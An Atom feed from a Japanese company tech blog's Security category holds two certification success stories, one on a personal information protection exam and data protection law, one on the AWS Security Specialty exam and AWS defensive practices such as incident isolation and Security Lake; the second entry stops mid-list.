<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:webfeeds="http://webfeeds.org/rss/1.0">
  <title>Security カテゴリ | フューチャー技術ブログ</title>
  <subtitle>Security カテゴリの記事一覧</subtitle>
  <icon>https://future-architect.github.io/feed_icon.png</icon>
  <logo>https://future-architect.github.io/apple-touch-icon.png</logo>
  <webfeeds:icon>https://future-architect.github.io/apple-touch-icon.png</webfeeds:icon>
  <webfeeds:accentColor>258fb8</webfeeds:accentColor>
  <link href="https://future-architect.github.io/categories/Security/atom.xml" rel="self"/>
  <link href="https://future-architect.github.io/categories/Security/"/>
  <updated>2026-07-14T15:00:00.000Z</updated>
  <id>https://future-architect.github.io/categories/Security/</id>
  <generator uri="https://hexo.io/">Hexo</generator>
  <entry>
    <title>個人情報保護士認定試験 合格体験記 - 法改正が続く個人情報保護を、ISMSとPマークから学び直す</title>
    <link href="https://future-architect.github.io/articles/20260715a/"/>
    <id>https://future-architect.github.io/articles/20260715a/</id>
    <published>2026-07-14T15:00:00.000Z</published>
    <updated>2026-07-14T15:00:00.000Z</updated>
    <author><name>棚井龍之介</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2026/20260715a/eyecatch.png" alt="" width="1200" height="670">

<h2 id="はじめに">はじめに</h2><p>FutureVulsチームの棚井です。</p>
<p>2026年6月21日に実施された第83回 個人情報保護士認定試験を受験し、合格しました。</p>
<img src="/images/2026/20260715a/第83回_個人情報保護士認定試験の合格通知.png" alt="第83回_個人情報保護士認定試験の合格通知" width="1200" height="326" loading="lazy">

<p>これまで私が執筆したセキュリティ系資格の合格体験記（情報処理安全確保支援士、AWS Certified Security - Specialty）は、いずれも技術でどう守るかに軸足がありましたが、今回はきっかけが少し違います。学習を進める中でもセキュリティ担当者としての実業務でも、数ある情報資産のなかで個人情報だけは扱いが別格だと感じる場面が何度もありました。なのでこの領域を体系的に学びたくて、受験を決めました。</p>
<p>FutureVulsは脆弱性管理サービスを提供しており、日々セキュリティと向き合っています。ただ、セキュリティの最終的な目的の多くは個人情報をはじめとする情報資産を守ることであり、その拠り所は法律や社会的なルールです。セキュリティと個人情報保護は、いわば両輪です。技術者こそ、その両方をあわせて理解しておく価値があると思っています。この記事は、資格の受験を検討している方はもちろん、個人情報保護って結局どんな法律・制度で成り立っているのか、と気になるエンジニアにも読んでほしい内容です。</p>
<h2 id="試験の概要-問われるのは法律と対策の2領域">試験の概要 - 問われるのは法律と対策の2領域</h2><p>個人情報保護士認定試験は、一般財団法人 全日本情報学習振興協会が主催する民間資格です。試験は次の2課題で構成されます。</p>
<ul>
<li>課題Ⅰ：個人情報保護法とマイナンバー法の理解（法律の側面）</li>
<li>課題Ⅱ：個人情報保護の対策と情報セキュリティ（対策の側面）</li>
</ul>
<p>つまり、法律とセキュリティ対策の両面が問われます。概要は次のとおりです。</p>
<div class="scroll"><table>
<thead>
<tr>
<th>項目</th>
<th>内容</th>
</tr>
</thead>
<tbody><tr>
<td>主催</td>
<td>一般財団法人 全日本情報学習振興協会</td>
</tr>
<tr>
<td>出題</td>
<td>課題Ⅰ・課題Ⅱ 各50問（計100問）</td>
</tr>
<tr>
<td>試験時間</td>
<td>150分</td>
</tr>
<tr>
<td>合格基準</td>
<td>各課題70%以上（難易度により調整あり）</td>
</tr>
<tr>
<td>受験料</td>
<td>11,000円（税込）</td>
</tr>
<tr>
<td>実施</td>
<td>年4回（第83回は2026年6月21日）</td>
</tr>
<tr>
<td>合格率</td>
<td>おおむね4割前後（回により幅あり）</td>
</tr>
</tbody></table></div>
<p>法律とセキュリティが半分ずつという構成は、サイバーセキュリティの業務とも重なります。</p>
<h2 id="増えるインシデントと、IPAの10大脅威">増えるインシデントと、IPAの10大脅威</h2><p>個人情報の漏えいにつながるインシデントは、ここ数年で明らかに増えています。トレンドマイクロの集計では、2024年に国内の法人組織が公表したセキュリティインシデントは587件で、2023年の383件から大きく増えました。IPA「情報セキュリティ10大脅威 2026」（組織向け）の上位も、次のような顔ぶれです。</p>
<ul>
<li>1位：ランサム攻撃による被害</li>
<li>2位：サプライチェーンや委託先を狙った攻撃</li>
<li>3位：AIの利用をめぐるサイバーリスク（初選出）</li>
</ul>
<p>攻撃の多くは、最終的に個人情報や機密情報の窃取や暗号化、漏えいに行き着きます。サイバーセキュリティと個人情報保護は、技術と法制度という別々の顔をしていても、実態は表裏一体です。だからこそこの試験も、法律・ルール（課題Ⅰ）とセキュリティ対策・実務（課題Ⅱ）を、それぞれ問う内容になっています。</p>
<h2 id="課題Ⅰの領域：個人情報保護をめぐる法律">課題Ⅰの領域：個人情報保護をめぐる法律</h2><p>課題Ⅰでは、個人情報保護法とマイナンバー法の理解が問われます。ここでは、中心となる個人情報保護法と、対になる活用側の法律を見ていきます。</p>
<h3 id="改正が続く個人情報保護法">改正が続く個人情報保護法</h3><p>個人情報保護法（正式には「個人情報の保護に関する法律」）は、2003年に制定され、2005年に全面施行されました。特徴的なのは、その後も社会やテクノロジーの変化に合わせて改正が重ねられている点です（参考：個人情報保護委員会）。主な流れは以下のとおりです。</p>
<div class="scroll"><table>
<thead>
<tr>
<th>時期</th>
<th>主な内容</th>
</tr>
</thead>
<tbody><tr>
<td>2003年</td>
<td>制定</td>
</tr>
<tr>
<td>2005年</td>
<td>全面施行</td>
</tr>
<tr>
<td>2015年改正（2017年施行）</td>
<td>取扱件数の要件を撤廃し原則すべての事業者が対象に。匿名加工情報、個人情報保護委員会（PPC）の新設</td>
</tr>
<tr>
<td>2020年改正（2022年施行）</td>
<td>漏えい等の報告・本人通知の義務化、仮名加工情報、本人の権利拡大、ペナルティ強化</td>
</tr>
<tr>
<td>2021年改正（2022〜2023年施行）</td>
<td>官民に分かれていた関連法を1本に一元化</td>
</tr>
<tr>
<td>2026年改正（令和8年・2026年7月成立）</td>
<td>課徴金制度の導入、子ども（16歳未満）の個人情報保護、生体データの保護強化、AI等での統計処理の規律見直し など（施行は2028年ごろ見込み）</td>
</tr>
</tbody></table></div>
<p>さらに、2020年改正法の附則には「施行後おおむね3年ごとに見直す」という規定が置かれました。これがいわゆる3年ごと見直しです。この規定に基づき、個人情報保護委員会は2023年から検討を進め、2026年4月に改正法案が閣議決定されました（令和8年改正）。その後、衆議院・参議院で可決され、2026年7月に成立しています。課徴金制度の導入、16歳未満の子どもの個人情報保護、顔認証などの生体データの保護強化、AIなどでの統計処理に関する規律の見直しが柱で、施行は公布からおおむね2年後、2028年ごろが見込まれています。</p>
<div class="note-container note-info note-has-title"><div class="note-title"><span class="note-icon"></span>最新情報（2026年7月10日）</div><div class="note-body">

<p>今回の改正では、AIの開発や統計の作成といった用途に絞って、本人の同意がなくても個人データを外部に提供できる特例が新たに認められました。第三者への提供で原則としてきた本人同意を、特定の用途に限って外す形です。そのぶん、提供する側の企業には情報管理や社内体制の整備がより強く求められ、悪質な不正利用には新設の課徴金制度で対応します。特例をどこまで使えるかは今後のガイドライン次第で、当面は各社が慎重に見極める段階になりそうです。</p>
<p>参考：AI開発への個人情報提供、同意不要に　改正法成立も企業手探り（日本経済新聞、2026年7月10日）</p>
</div></div>

<p>学んでいて強く感じたのは、個人情報保護は一度覚えたら終わりではない、ということです。制度そのものが定期的に見直される前提で作られており、資格を取って終わりではなく、改正を追い続けて初めて意味を持ちます。脆弱性や脅威を日々追いかけるサイバーセキュリティの仕事と、どこか似ています。</p>
<h3 id="保護と活用、そして安全">保護と活用、そして安全</h3><p>個人情報保護法は、守るだけの法律ではありません。第1条は、個人情報の有用性に配慮しつつ個人の権利利益を保護すると定めており、匿名加工情報（2015年改正）や仮名加工情報（2020年改正）は、保護しながら活用するための仕組みです。その活用を社会全体で後押しするのが、2016年に公布・施行された官民データ活用推進基本法です。</p>
<img src="/images/2026/20260715a/官民データ活用推進基本法の概要（総務省資料）.png" alt="官民データ活用推進基本法の概要（総務省資料）" width="1200" height="760" loading="lazy">

<p>引用元<br>https://www.soumu.go.jp/main_content/000467121.pdf</p>
<p>活用は、保護と安全があって初めて成り立ちます。官民データ活用推進基本法は、基本計画づくりで個人情報保護委員会とサイバーセキュリティ戦略本部の双方に協議すると定め、「サイバーセキュリティ」の定義もサイバーセキュリティ基本法（2014年成立、2015年施行）から引いています。保護（個人情報保護法）、活用（官民データ活用推進基本法）、安全（サイバーセキュリティ基本法）。この3つは互いを前提に組み合わさっています。</p>
<h2 id="課題Ⅱの領域：組織と人で守りを形にする">課題Ⅱの領域：組織と人で守りを形にする</h2><p>課題Ⅱでは、個人情報保護の対策と情報セキュリティが問われます。法律で定めた守りを、組織として実際に形にする領域です。</p>
<h3 id="組織の証明：ISMSとプライバシーマーク">組織の証明：ISMSとプライバシーマーク</h3><p>組織として適切に守れていることを客観的に示す代表的な仕組みが、ISMS適合性評価制度とプライバシーマーク（Pマーク）制度です。この2つはよく「どちらを取るべきか」と比較されますが、実際には相互補完の関係にあります。</p>
<div class="scroll"><table>
<thead>
<tr>
<th></th>
<th>ISMS</th>
<th>プライバシーマーク（Pマーク）</th>
</tr>
</thead>
<tbody><tr>
<td>準拠規格</td>
<td>ISO&#x2F;IEC 27001（国際規格）</td>
<td>JIS Q 15001（国内規格）</td>
</tr>
<tr>
<td>保護対象</td>
<td>情報資産全般（機密性・完全性・可用性）</td>
<td>個人情報に特化</td>
</tr>
<tr>
<td>認証範囲</td>
<td>部門・事業所単位でも可</td>
<td>事業者（全社）単位</td>
</tr>
<tr>
<td>更新</td>
<td>更新審査3年ごと＋維持審査毎年</td>
<td>2年ごと</td>
</tr>
</tbody></table></div>
<p>ISMSは情報資産全般を広くカバーする仕組みで、対象範囲を部門単位に絞ることもできます。一方Pマークは、個人情報に絞って深く、全社で守る仕組みです。カバーする範囲がずれているため、どちらか一方が他方を完全に含むわけではなく、両方を取得して補い合う企業も多くあります。これが相互補完と呼ばれる理由です。ISMSさえあればPマークは不要、というわけではありません。</p>
<h3 id="人の証明と、自社の方針の公開">人の証明と、自社の方針の公開</h3><p>これらが組織の体制を示す認証だとすると、今回合格した個人情報保護士は、人の知識を示す資格といえます。仕組み（組織）と、それを動かす人（個人）です。どちらが欠けても守りは成立しませんし、今回の合格は、その人の側の裏づけを1つ得た、という位置づけです。</p>
<p>フューチャーも、こうした守りの姿勢を明確にしています。当社は、情報セキュリティとプライバシーに関する方針を一般に公開しています。</p>
<ul>
<li>情報セキュリティ基本方針</li>
<li>プライバシーポリシー（個人情報保護方針）</li>
</ul>
<p>セキュリティ基本方針では「セキュリティ対策は事業の成功と直結している」「個人情報・情報資産を厳正に保護することは社会的責務」と位置づけ、公開企業として明確な方針を宣言し、対策を確実に実施すると打ち出しています。プライバシーポリシーでは、個人情報保護マネジメントシステムを構築し、利用目的の特定や安全管理措置、本人からの開示請求への対応などを定めています。学んだ条文が、自社の方針にそのまま対応していることも確認できました。</p>
<h2 id="学習方法">学習方法</h2><p>学習に使ったのは、公式テキストと、いくつかの問題演習です。過去問集や動画講座、AIツールでの壁打ちなどは使わず、シンプルな構成にしました。</p>
<h3 id="1-公式テキストで通読・インプット">1. 公式テキストで通読・インプット</h3><img src="/images/2026/20260715a/改訂8版_個人情報保護士認定試験公式テキストの表紙.jpeg" alt="改訂8版_個人情報保護士認定試験公式テキストの表紙" width="223" height="320" loading="lazy">

<p>改訂8版 個人情報保護士認定試験公式テキスト（柴原健次 ほか著／日本能率協会マネジメントセンター）を使いました。2023年施行の改正法に対応しており、課題Ⅰ（法律・マイナンバー）と課題Ⅱ（セキュリティ）の全範囲がこの1冊でカバーされます。まずは通読して全体像を掴み、このテキストに載っている問題演習も解いて理解度を確かめました。</p>
<h3 id="2-受験申込後のオンライン学習ページ">2. 受験申込後のオンライン学習ページ</h3><img src="/images/2026/20260715a/全日本情報学習振興協会のオンライン学習ページ.png" alt="全日本情報学習振興協会のオンライン学習ページ" width="800" height="289" loading="lazy">

<p>引用元<br>https://www.joho-gakushu.or.jp/piip/</p>
<p>試験に申し込むと案内される公式のオンライン学習ページがあります。ここは要チェックで、出題範囲の最終確認に役立ちました。</p>
<p>なお、受験にまつわる特典やキャンペーンの情報は、全日本情報学習振興協会のX（@joho_gakushu）でも告知されています。受験を検討している方は、あわせて見ておくとよさそうです。</p>
<h3 id="3-Webの問題演習で理解度チェック">3. Webの問題演習で理解度チェック</h3><img src="/images/2026/20260715a/シカクモンの問題演習画面.png" alt="シカクモンの問題演習画面" width="800" height="374" loading="lazy">

<p>シカクモンという学習サイトを使いました。個人情報保護法やマイナンバー法、情報セキュリティの分野別に問題が無料で解け、本試験（マークシート100問）の形式に近い演習ができます。スキマ時間の反復に重宝しました。</p>
<h2 id="試験を通しての所感">試験を通しての所感</h2><ul>
<li><strong>課題Ⅰ（法律）は、個別事案への当てはめが難所</strong>：条文や用語を覚えるだけでは足りず、「この事例では法律上どう扱われ、結論はどうなるか」という当てはめの判断が問われます。ここは本来、過去問演習を繰り返して身につけるのが王道だと思います。私は今回、過去問演習まではしませんでしたが、法律パートに不安がある方には過去問中心の対策を強くおすすめします。</li>
<li><strong>課題Ⅱ（対策・情報セキュリティ）は、実務経験がそのまま活きる</strong>：脅威と対策、組織的・技術的セキュリティなどが中心で、日頃セキュリティを学んで（あるいは業務で扱って）いれば、比較的やさしく感じられるはずです。</li>
</ul>
<h2 id="合格後：個人情報保護士会への入会">合格後：個人情報保護士会への入会</h2><p>合格者（認定カードの有効期限内の方）は、一般財団法人 個人情報保護士会に入会できます（入会は任意）。合格者向けの会で、主な特典は次のとおりです。</p>
<ul>
<li>講演会への無料参加</li>
<li>上級資格の取得支援</li>
<li>書籍の割引販売</li>
<li>学習講座の無料視聴</li>
<li>会員バッジの提供</li>
<li>認定カードの無料更新</li>
</ul>
<p>費用は以下のとおりです（いずれも税込）。</p>
<div class="scroll"><table>
<thead>
<tr>
<th>項目</th>
<th>金額</th>
</tr>
</thead>
<tbody><tr>
<td>入会費</td>
<td>11,000円</td>
</tr>
<tr>
<td>年会費</td>
<td>13,200円</td>
</tr>
<tr>
<td>初年度合計</td>
<td>24,200円</td>
</tr>
</tbody></table></div>
<h2 id="おわりに">おわりに</h2><p>試験の2本柱に沿って、個人情報保護をめぐる法律（課題Ⅰ）と対策（課題Ⅱ）を見てきました。守りのルール（個人情報保護法）と、活かすためのルール（官民データ活用推進基本法）が対になっています。組織の仕組み（ISMS・Pマーク）と、それを動かす人の知識（個人情報保護士）がそろって初めて、守りは形になります。今回の学習で、ばらばらに知っていた点が線でつながった感覚があります。</p>
<p>個人情報保護法は3年ごとに見直される、動き続ける領域です。合格をゴールにせず、改正のたびに学び直しながら、サイバーセキュリティの実務に還元していきたいと思います。セキュリティ系資格の受験を考えている方、そして法制度の全体像を短時間で掴みたい方の参考になれば幸いです。</p>
]]></content>
    <summary type="html">2026年6月21日に実施された第83回 個人情報保護士認定試験を受験し、合格しました。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="ISMS" scheme="https://future-architect.github.io/tags/ISMS/"/>
    <category term="合格記" scheme="https://future-architect.github.io/tags/%E5%90%88%E6%A0%BC%E8%A8%98/"/>
  </entry>
  <entry>
    <title>AWS Certified Security - Specialty 合格体験記 - Claude壁打ちとUdemy演習で一発合格</title>
    <link href="https://future-architect.github.io/articles/20260604a/"/>
    <id>https://future-architect.github.io/articles/20260604a/</id>
    <published>2026-06-03T15:00:00.000Z</published>
    <updated>2026-06-03T15:00:00.000Z</updated>
    <author><name>棚井龍之介</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2026/20260604a/aws-certified-security-specialty.png" alt="" width="600" height="600">

<h2 id="はじめに">はじめに</h2><p>CSIG所属、FutureVulsチームの棚井です。</p>
<p>2026年5月18日に AWS Certified Security - Specialty (SCS-C03) を受験し、823点 &#x2F; 1000点(合格ライン750点)で一発合格しました。AWS認定試験はこれが初挑戦でしたが、業務でAWSのセキュリティ関連サービスを設定・運用する機会があり、知識の体系化と棚卸しを兼ねて、Foundational&#x2F;Associate&#x2F;Professionalを飛ばして、いきなりSpecialtyの「Security」に挑戦しました。</p>
<p>前回の情報処理安全確保支援士の合格体験記に続く、セキュリティ系資格の合格報告です。受験の後押しとなったのは、同記事でも紹介した部署の資格取得推奨と一部経費負担制度です。</p>
<p>セキュリティの実務経験はあるけれど AWS 認定は初めて、という方や、学習に LLM (Claude等) をどう組み込むか試行錯誤している方に、特に読んでほしい内容です。AWS Certified Security - Specialty の受験を検討している方の参考にもなるはずです。</p>
<h2 id="試験の概要">試験の概要</h2><p>AWS Certified Security - Specialty (SCS-C03) 試験ガイドによると、本試験はクラウドソリューションのセキュリティを担う立場の方を対象に、AWSの製品とサービスを保護する知識を検証します。受験対象者として、クラウドソリューションの保護について3〜5年相当の経験が推奨されています。</p>
<p>試験の出題形式と内訳は以下のとおりです。</p>
<ul>
<li>設問形式: 択一選択、複数選択、並べ替え、内容一致</li>
<li>設問数: 採点対象 50問 + 採点対象外 15問 &#x3D; 計65問</li>
<li>合格スコア: 100〜1,000の換算スコアで 750(補整スコアリングモデル)</li>
</ul>
<p>コンテンツ分野と出題比率は、以下のとおりです。</p>
<div class="scroll"><table>
<thead>
<tr>
<th>コンテンツ分野</th>
<th>出題比率</th>
</tr>
</thead>
<tbody><tr>
<td>1. 検出</td>
<td>16%</td>
</tr>
<tr>
<td>2. インシデント対応</td>
<td>14%</td>
</tr>
<tr>
<td>3. インフラストラクチャのセキュリティ</td>
<td>18%</td>
</tr>
<tr>
<td>4. Identity and Access Management</td>
<td>20%</td>
</tr>
<tr>
<td>5. データ保護</td>
<td>18%</td>
</tr>
<tr>
<td>6. セキュリティ基盤とガバナンス</td>
<td>14%</td>
</tr>
</tbody></table></div>
<p>AWS認定試験の全体像はAWS認定の公式ページを、各分野の詳細なタスク&#x2F;スキルは前述の試験ガイドを参照してください。</p>
<h2 id="学習方法">学習方法</h2><p>私の学習は、シンプルに2ステップでした。</p>
<ol>
<li>Claudeとの壁打ちで学習計画を立てる</li>
<li>Udemyの演習問題集を1周する</li>
</ol>
<h3 id="1-Claudeとの壁打ちで学習計画">1. Claudeとの壁打ちで学習計画</h3><p>学習はClaudeとの壁打ちから始めました。日々の業務でClaudeを利用しており、私の関心領域や学習傾向はある程度Claudeに把握されています。そのため、以下を相談・依頼するだけで、自分に合った学習計画の素案が出てきました。</p>
<ul>
<li>必要な勉強時間の見積もり</li>
<li>参考になるサイトの紹介 (例えば、SCS-C02からC03への変更点まとめ を教えてもらいました)</li>
<li>学習中に出てきた技術的な質問への解説</li>
</ul>
<p>3点目の「私の関心領域・既知の知識に合わせた解説」が、一番効きました。AWSのサービスを単独で説明されるより、自分が実務で扱ってきた技術やOSSと対比して教えてもらう方が、知らないサービスでも既知の知識にぶら下げて覚えられるので、頭に入る速さが違います。「これは ○○ と同じ役割を担うサービスで、違いはこの点」と差分だけ教えてもらえる学び方は、相手がLLMだからこそ成立すると思います。</p>
<h3 id="2-Udemyの演習問題集を1周">2. Udemyの演習問題集を1周</h3><p>主教材は (C03アップデート済)【全網羅+詳細解説】SCS-C03実践問題 (Security Specialty)290問(講師: syo @Cloud)を選びました。Udemyの月額サブスクに登録して利用しています。</p>
<p>具体的に取り組んだのは、以下の2つです。</p>
<ul>
<li>演習問題5 (250問): C03の追加要素 + 演習1〜4からの抜粋(出題順序固定)</li>
<li>演習問題6 (40問): 新規ボーナス問題 + 演習1〜4からの抜粋(出題順序固定)</li>
</ul>
<p>演習問題1〜4は取り組んでいません。これらの内容は演習問題5に含まれている、との説明を見つけたためです。結果として、合計約290問を1周しただけで合格できました。</p>
<h4 id="解説の活用方法">解説の活用方法</h4><p>演習問題を解くうえで実践したのは、大きく2つです。</p>
<p>1つ目は、正誤に関わらず解説を全部読むことです。AWS認定試験は「最適な選択肢を選ぶ」形式なので、誤答の選択肢にも学びがあります。むしろ「なぜその選択肢ではダメなのか」を追う方が、サービスの境界や使い分けがはっきりします。正答の解説より誤答の解説の方が情報量が多い、と感じる場面が何度もありました。</p>
<p>2つ目は、テキスト解説とフロー図を往復することです。この教材の最大の魅力は、ほぼ全ての解説にフロー図が付いている点です。たとえば、</p>
<ul>
<li>IAMポリシーの評価ロジック (明示的Deny優先: 暗黙のDeny → 明示的Allowで許可 → 明示的Denyが最優先で上書き)</li>
<li>侵害が疑われるインスタンスの隔離手順 (削除保護 → ネットワーク疎通遮断 → スナップショット取得)</li>
</ul>
<p>のように「順序」が問われる論点は、図で頭に入っているかどうかがシナリオ問題の正答率を左右します。私はまずテキスト解説を読んで自分の中で処理順序のイメージを作り、そのあとフロー図で答え合わせをする、という読み方をしていました。こうすると「読んだだけで理解した気になる」状態を防げます。</p>
<p>本番でも、教材で繰り返し見た論点(IAMポリシーの評価ロジック、インシデント対応の手順系)がそのまま問われる感覚で、合格点(750&#x2F;1000)狙いならこの講座だけで足りました。</p>
<h2 id="試験勉強で得た学び">試験勉強で得た学び</h2><p>業務であまり触らず、今回しっかり覚え直したポイントを挙げます。</p>
<h3 id="インシデントの初動調査は「読み取り専用権限」で行う">インシデントの初動調査は「読み取り専用権限」で行う</h3><p>侵害が疑われる環境を調査するとき、誤操作による証拠破壊を防ぐため、読み取り専用権限のIAMロール&#x2F;アカウントで初動調査するのがベストプラクティスです。</p>
<p>AWS公式のAWS Security Incident Response User Guide - Prepare access to AWS accountsでも、インシデント対応チームには事前に最小権限のアクセスを割り当てておく(provision least privilege access in advance)ことが推奨されています。読み取り専用調査の出発点として代表的なのは、セキュリティ設定メタデータの参照に特化した <code>SecurityAudit</code> と、全AWSサービスのリソース・基本メタデータを横断的に参照できる <code>ViewOnlyAccess</code> です。これらを起点に、組織のニーズへ合わせて権限を絞り込みます。試験のためというより普段のロール設計でそのまま使える話で、調査時の操作ミスを権限制御で未然に防ぐ、という観点が一番の学びでした。</p>
<h3 id="AWS-Control-Towerの推奨ランディングゾーン構成">AWS Control Towerの推奨ランディングゾーン構成</h3><p>AWS Control Towerでは、Security OU を設けて、その中に Log Archive アカウントと Audit アカウントを分離して持たせる構成が推奨されています(AWS Prescriptive Guidance - Account structure and OUs)。</p>
<pre class="mermaid" data-mermaid="89335a33cdc7c6a02f5d3a5e66218f5e62bfe7fb97b55e13675e1c054dd3428d">graph TB
    Root[AWS Organization Root]
    Mgmt[管理アカウント<br/>Management Account]
    SecOU[Security OU]
    LogArchive[Log Archive アカウント<br/>セキュリティログ集約・長期保管]
    Audit[Audit アカウント<br/>セキュリティサービスの運用・監査]
    WkOU[Workloads OU<br/>必要に応じて追加]
    Dev[Dev Account]
    Stg[Staging Account]
    Prod[Prod Account]

    Root --> Mgmt
    Root --> SecOU
    SecOU --> LogArchive
    SecOU --> Audit
    Root --> WkOU
    WkOU --> Dev
    WkOU --> Stg
    WkOU --> Prod</pre>

<ul>
<li>Log Archive アカウント: 各アカウントのAPIアクティビティやリソース設定のログを集約するリポジトリ(詳細)</li>
<li>Audit アカウント: GuardDuty や Security Hub などのセキュリティサービスを運用・管理し、監査・コンプライアンスチームが各アカウントをレビューするためのアカウント(AWS SRA の Security Tooling アカウントに相当)</li>
</ul>
<p>運用面では、GuardDuty・Security Hub・AWS Config などの delegated administrator(委任管理者) を Audit アカウントに設定し、組織横断のセキュリティ運用をここに集約します。一方で Security Lake は、ログ集約という役割に合わせて、AWS SRA では Log Archive アカウントを委任先として推奨しており、委任先がサービスごとに異なる点に注意が必要です。いずれにせよ、管理アカウントは組織管理だけ、日々のセキュリティ運用は Audit アカウント、と役割がきれいに分かれます。</p>
<p>私がこれまで慣れていたのは「環境ごとに1AWSアカウント」(例: 開発+検証で1、本番で1) の構成でしたが、Control Tower は管理アカウント + 個別アカウントをOU単位で組織化し、ロールではなくアカウント単位で権限を分離します。アカウント単位で責務を分けるという発想は、今まで自分になかった視点でした。</p>
<h3 id="Service-Catalog-CloudFormation-サービスアカウントによる実行環境制御">Service Catalog + CloudFormation + サービスアカウントによる実行環境制御</h3><p>AWS Service Catalogで承認済みのCloudFormationテンプレートをカタログ化し、利用者にはサービスアカウント経由でデプロイさせる構成です。Service Catalogには「Constraints」という仕組みがあり、起動先・インスタンスタイプ・付与するIAMロールといったデプロイ方法に制約をかけられます。利用者には承認済みテンプレートだけを触らせ、組織として外したくない部分は Constraints で縛る。承認済みリソースの払い出し口をこう作るのか、と腹落ちしました。</p>
<h3 id="侵害インスタンスの「隔離」手順">侵害インスタンスの「隔離」手順</h3><p>侵害が疑われるEC2インスタンスの隔離について、教材では以下の順序が原則として示されていました。</p>
<ol>
<li>削除保護を有効化(誤削除の防止)</li>
<li>ネットワークACL &#x2F; セキュリティグループでネットワーク疎通を遮断</li>
<li>EBSのスナップショットを取得(フォレンジック用)</li>
</ol>
<p>ただし、「隔離(ネットワーク遮断)」と「スナップショット取得」のどちらを先に置くかは、ケースバイケースです。攻撃の継続を即時に断つことを優先するなら、遮断が先になります。Amazon GuardDuty - 侵害された可能性のあるAmazon EC2インスタンスの修復も、隔離用セキュリティグループの作成(<code>0.0.0.0/0</code> を許可しない)→ アタッチ → 他のSGの削除、とネットワーク隔離を最優先します。</p>
<p>一方、揮発性の高い証拠の保全を優先するなら、スナップショットが先です。AWS Security Incident Response User Guide - Collect relevant artifactsが示すフォレンジック観点の順序は「メタデータ取得 → インスタンス保護(削除保護)有効化とタグ付与 → EBSスナップショット → メモリ取得 → (オプション)ライブレスポンス → デコミッション → 隔離」で、隔離は最後に置かれます。なお、AWS Prescriptive Guidance - Forensics accountのように、調査対象のスナップショットをフォレンジック専用アカウントへコピーする設計パターンもあります。</p>
<p>正解は状況次第です。ただし「インスタンスを保護する」「攻撃を断つ」「証拠を保全する」の3つが論点だと頭に入っていれば、本番のシナリオ問題でも選択肢の優先順位を付けられました。</p>
<h3 id="データ集約先としてのAmazon-Security-Lake">データ集約先としてのAmazon Security Lake</h3><p>Amazon Security Lakeは、セキュリティログをOCSF (Open Cybersecurity Schema Framework)形式で正規化し、Apache Parquet形式でS3に集約するデータレイク基盤です。AWS Security Hub (CSPM: Cloud Security Posture Management) との違いは、以下のように整理できます。</p>
<ul>
<li>Security Hub: セキュリティ検出結果の集約・優先度付け・ダッシュボード化</li>
<li>Security Lake: セキュリティ「データ」そのものの集約・長期保管・分析基盤化</li>
</ul>
<p>片方があればもう片方が不要、という関係ではありません。実際、Security Hub CSPMのFindingsも ASFF 形式から OCSF 形式に変換した上で Security Lake に取り込めます。サービス連携の全体像は以下のようになります。</p>
<pre class="mermaid" data-mermaid="f9c6d346e54d638c8fcc80c3fb9d715435816b25ca341118c33ad54b881ed8a3">graph LR
    subgraph Sources[ログソース]
        CT[AWS CloudTrail]
        VPC[VPC Flow Logs]
        R53[Route 53 Resolver Logs]
        SH[Security Hub Findings<br/>ASFF → OCSF変換]
        Custom[サードパーティ / カスタム<br/>OCSF形式]
    end

    SL[Amazon Security Lake<br/>OCSF正規化 + Apache Parquet<br/>S3バケットに保管]

    subgraph Consumers[分析・可視化先]
        Athena[Amazon Athena]
        QS[Amazon QuickSight]
        OpenSearch[Amazon OpenSearch]
        SIEM[サードパーティSIEM<br/>Splunk / Datadog 等]
    end

    CT --> SL
    VPC --> SL
    R53 --> SL
    SH --> SL
    Custom --> SL

    SL --> Athena
    SL --> QS
    SL --> OpenSearch
    SL --> SIEM</pre>

<p>SOC対応やSIEM体制を見越したサードパーティ連携については、Third-party integrations with Security Lakeに多数のソース・サブスクライバーが記載されています。正規化済みのデータが S3 に溜まるので、Splunk や Datadog といった既存の SIEM にそのまま流し込める。SOC を回す側からすると、この一点だけでも Security Lake を置く価値がありそうだと感じました。</p>
<h2 id="試験勉強を通しての所感">試験勉強を通しての所感</h2><h3 id="実務経験のあるサービスは圧倒的に有利">実務経験のあるサービスは圧倒的に有利</h3><p>業務で実際に設定・運用したことのあるサービスについては、知識を問われても迷うことは少なかったです。</p>
<p>例えば、「稼働中の非暗号化RDSを暗号化する方法」という問いに対して、</p>
<blockquote>
<p>スナップショットを取得し、それを暗号化を有効にしてコピーする。その暗号化済みスナップショットからインスタンスを復元する</p>
</blockquote>
<p>という回答は、実際に手を動かしたことがあれば即答できます(Encrypting Amazon RDS resources)。非暗号化インスタンスから暗号化スナップショットは直接作れず、コピー時に暗号化を付与する、という一手間がポイントです。「稼働中のRDSをそのまま暗号化する方法はない」という制約を、机上で覚えるか実務で体感したか、で記憶への定着度が全く違います。</p>
<h3 id="業務での「あるあるネタ」も出題される">業務での「あるあるネタ」も出題される</h3><p>トラブルシュート系の問題には、業務で一度は遭遇するような「あるある」が散りばめられています。</p>
<ul>
<li>Lambda起動時にCloudWatchにログが出力されない → 大抵はLambda実行ロールに AWS管理ポリシー <code>AWSLambdaBasicExecutionRole</code>(<code>logs:CreateLogGroup</code> &#x2F; <code>logs:CreateLogStream</code> &#x2F; <code>logs:PutLogEvents</code> を許可) が付与されていない</li>
<li>EC2のCloudWatch エージェントが、長時間起動していると途中からログ連携されなくなる → 自分の環境では logrotate との設定齟齬が原因でした</li>
<li>S3バケットを「特定VPCからのみアクセス可」にしたくて、VPCエンドポイントポリシーに <code>aws:SourceVpc</code> 条件を書いてもアクセス制御が効かない → バケット単位で「このVPCからのみ」を表すなら、リソース側&#x3D;S3バケットポリシーに <code>aws:SourceVpc</code> &#x2F; <code>aws:SourceVpce</code> 条件を書くのが正解です。VPCエンドポイントポリシーは「そのエンドポイント経由でどのバケットやプリンシパルに到達できるか」を制御するものなので、バケット側のVPC限定はエンドポイントポリシーだけでは表現しきれません</li>
